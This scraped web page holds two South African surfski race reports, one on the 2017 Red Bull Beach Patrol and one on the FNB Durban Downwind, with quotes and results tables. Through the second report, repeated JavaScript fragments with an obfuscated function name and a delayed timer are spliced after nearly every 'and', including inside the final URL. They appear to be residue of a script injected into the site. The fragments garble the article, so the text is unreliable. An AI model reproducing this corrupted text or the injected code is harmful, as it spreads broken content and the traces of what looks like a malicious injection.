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    Nisbet takes the top spot in hotly contested Red Bull Beach Patrol

    Written by Barry Lewin on . Posted in SurfSki Events

    It was an epic day for defending champion, Luke Nisbet (32), who won a hard-fought oceanside battle to take the top spot at the 2017 Red Bull Beach Patrol on Sunday, 10 December at Durban’s North Beach. The Westville local took on some of the country’s most seasoned lifesaving pros, volunteers and trained athletes in the gruelling lifesaving contest.

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    “The competition tests the endurance and fitness of community members who dedicate their time to saving lives,” said Barry Lewin, Events’ Sportive Director for Red Bull Beach Patrol. “This year we saw 16 men and three women making it to the ironman final which was incredibly exciting for the beachside spectators and competitors.”

    For the first time in its three-year history the event was held in summer, however the 20-knot south-wester created incredibly challenging conditions for the competitors – pushing them to their limit. They were forced to compete against difficult wind-chop, big rips next to North Beach pier and waves of up to five feet.

    This is the second year in a row that Nisbet has taken the eventual lead from La Lucia’s Wade Krieger who dominated the first three races. Krieger took home the line honours for surf, swim and ski before losing out to Nisbet in a nail-biting ironman final.

    “The lead-up races were very tiring and then the final it was all-out, where it counted, but it really could have gone either way,” said Nisbet after the race. “I made a tactical error coming in too close to the pier but all the way it was a head-to-head, I had the lead, then Wade had the lead…it was close.”

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    There was also a standout performance in the men’s open division by Sanele Nxumalo who placed third. His skills on the board and ski leg on the day pushed him through to the ‘Most Improved’ competitor for 2017.

    Taking the flag for the ladies’ contest was Morningside’s Teegan Hardwick who won all four races – surf, swim, ski and ironman. Hardwick finished in the top ten overall, giving her male counterparts a serious run for their money.

    “The conditions today were tough by they made the race very exciting,” said Hardwick on her win. “The course was challenging but so different to any other races I have done. Fitness was definitely needed for this course style. I’m feeling really good but also quite tired! I’m just so happy with my results.”

    SUMMARY OF RESULTS – RED BULL BEACH PATROL 2017

    Men:
    1. Luke Nisbet (Westville) – 0:19:25
    2. Wade Krieger (La Lucia) – 0:19:30
    3. Sanele Nxumalo (Lamontville) – 0:21:41

    Women:
    1. Teegan Hardwick (Morningside) – 0:25:50
    2. Keli Reynolds (Durban North) – 0:26:58
    3. Siobhan Sharp (Berea) – 0:28:32

    For more information, head to www.redbull.co.za/beachpatrol.

     

    FNB Durban Downwind thriller crowns new champions

    Written by Barry Lewin on . Posted in SurfSki Events

    Durban – Jasper Mocké hit a triple jackpot in Durban on Saturday afternoon, winning a thrilling dice with Hank McGregor to win the FNB Durban Downwind, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and with it he took the SA Single Surfski crown as well as a place in the national team to the ICF Surfski World Champs in Hong Kong later in the year.

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    The Capetonian rounded off a tactically astute race that saw him opt for a deep water line with his older brother Dawid andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Kenny Rice, while McGregor led the local charge closer inshore, hoping to set a straight line course in the steady North Easterly wind.

    McGregor floundered in the surf coming in andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and had to beach earlier than expected andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and run to the finish line along the beach while Mocké (Euro Steel/Mocké Paddling) nailed the line in andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and carefully picked his way through the tricky surf at the finish.

    McGregor (Euro Steel/Epic Kayaks) cantered home in second andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and sealed the other senior men’s slot in the World Champs team, with Dawid Mocké rounding out the podium with an end sprint with Kenny Rice.

    “It is such an honour to win the national title against a field like this,” said Jasper Mocké at the finish.

    “A week ago when we knew it was going to be an East my brother andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I decided that we would go deep, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and when we get into a zone racing each other I know we are going fast. I never even thought about the guys on the inside.”

    “With about ten kays to go, off Moses Mabhida, I was feeling good, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I decided to set my sights on Addington. I felt that the runs were lining up where I wanted to go andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I could surf right into the finish,” he said.

    Mocké added that he hadn’t been aware of where defending champ Hank McGregor was until the dying minutes of the race.

    “About two kays to go I saw that red cap pop up andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I knew I had to race my buddy to the finish. I was happy where I was. I could see Hank running with his ski on the beach andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and that’s just awkward,” he added.

    After winning the SA K1 River title on the Pink Lady Drakenstein race last weekend Jasper Mocké joins a very small group of athletes to hold a river marathon andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and surfski national title in the same season.

    The women’s title race proved to be just as enthralling as Michelle Burn (Fenn Kayaks) needed all her accumulated downwind experience to stave off the challenge from the reigning Surfski World Series champ Hayley Nixon (Euro Steel/Carbonology), with Nikki Russell completing the women’s podium.

    “Just after Umhlanga I decided to go deeper, so I waited for Hayley (Nixon) andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Nikki (Russell) to go past andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I went out to sea. I did notice that Hayley decided to follow me.”

    “About six kays from the finish I started to feel tired, but I just put my head down andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and tried to milk the last few runs into the finish. I wasn’t actually sure that I had won it when I got to the beach,” she added.

    The race started with a backline start at La Mercy, where the huge surf made life very difficult for the paddlers trying to get out to the start line.

    Nineteen paddlers were forced to withdraw, most of them after breaking their skis in the crunching backline break, including the pedigree likes of Dusi champ Andy Birkett.

    Jenna Ward was another casualty of the angry surf, dubbed “No Mercy” by Hank McGregor. Her new ski was damaged andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and she was forced to swim it ashore. After repairing it with duct tape she got a fellow male paddler to paddle it out through the surf while she took a ride in a rubber duck andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and rejoined the rest of the field for the deep water start.
    “It’s fantastic to see the unbelievable turnout of the competing paddlers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and spectators enjoying the incredible experience of taking part in this competition,” said Michael Honeywell, FNB Business Regional Head KZN Coastal.

    “Congratulations to all the paddlers for displaying breathtaking andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and adrenaline packed performances andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the supporters who made the event even more electrifying,” he added.

    Many of the elite paddlers will now turn their attention to international events in Mauritius, Portugal, Canada andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the USA in the coming weeks, while the local seasons shifts to the popular Open Ocean Surfski Challenge series based at Durban Underwater Club, starting on 9 July.

    SUMMARY OF RESULTS
    FNB DURBAN DOWNWIND
    Overall
    1 Jasper Mocké 1:29:18.54
    2 Hank McGregor 1:29:19.13
    3 Dawid Mocké 1:29:55.32
    4 Kenneth Rice 1:29:55.99 (U23)
    5 Hynard Mackenzie (AUS) 1:31:36.76 (U23)
    6 Matthew Bouman 1:31:46.62
    7 Kyle Friedenstein 1:31:49.92
    8 Zoog Haynes/Lance Howarth 1:32:48.69
    9 Stuart Maclaren 1:33:54.56
    10 Mark Keeling 1:34:16.64 (U23)
    11 Gene Prato 1:34:17.62 (U23)
    12 Mark Anderson (AUS) 1:34:19.38
    13 Grant Van Der Walt 1:34:36.30
    14 Steve Woods 1:34:43.13
    15 Bailey De Fondaumiere 1:34:59.55 (U23)
    16 Bevan Manson 1:35:16.58
    17 Ian Black 1:35:32.40
    18 Joshua Fenn 1:36:49.35 (U18)
    19 Luke Nisbet 1:36:50.37
    20 Tyron Maher 1:36:51.31 (U23)

    Double ski
    1 Zoog Haynes/Lance Howarth 1:32:48.69
    2 Donna Winter/Shaun Burgin 1:37:18.48
    3 Bruce Wenke/Justin Wenke 1:42:56.54

    Women.
    1 Michelle Burn 1:42:58.20
    2 Hayley Nixon 1:44:05.68
    3 Nikki Russell 1:45:07.59
    4 Kyeta Purchase 1:49:13.37 (U23)
    5 Bridgitte Hartley 1:54:10.89

    More information can be found at www.durbandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andownwind.co.za.

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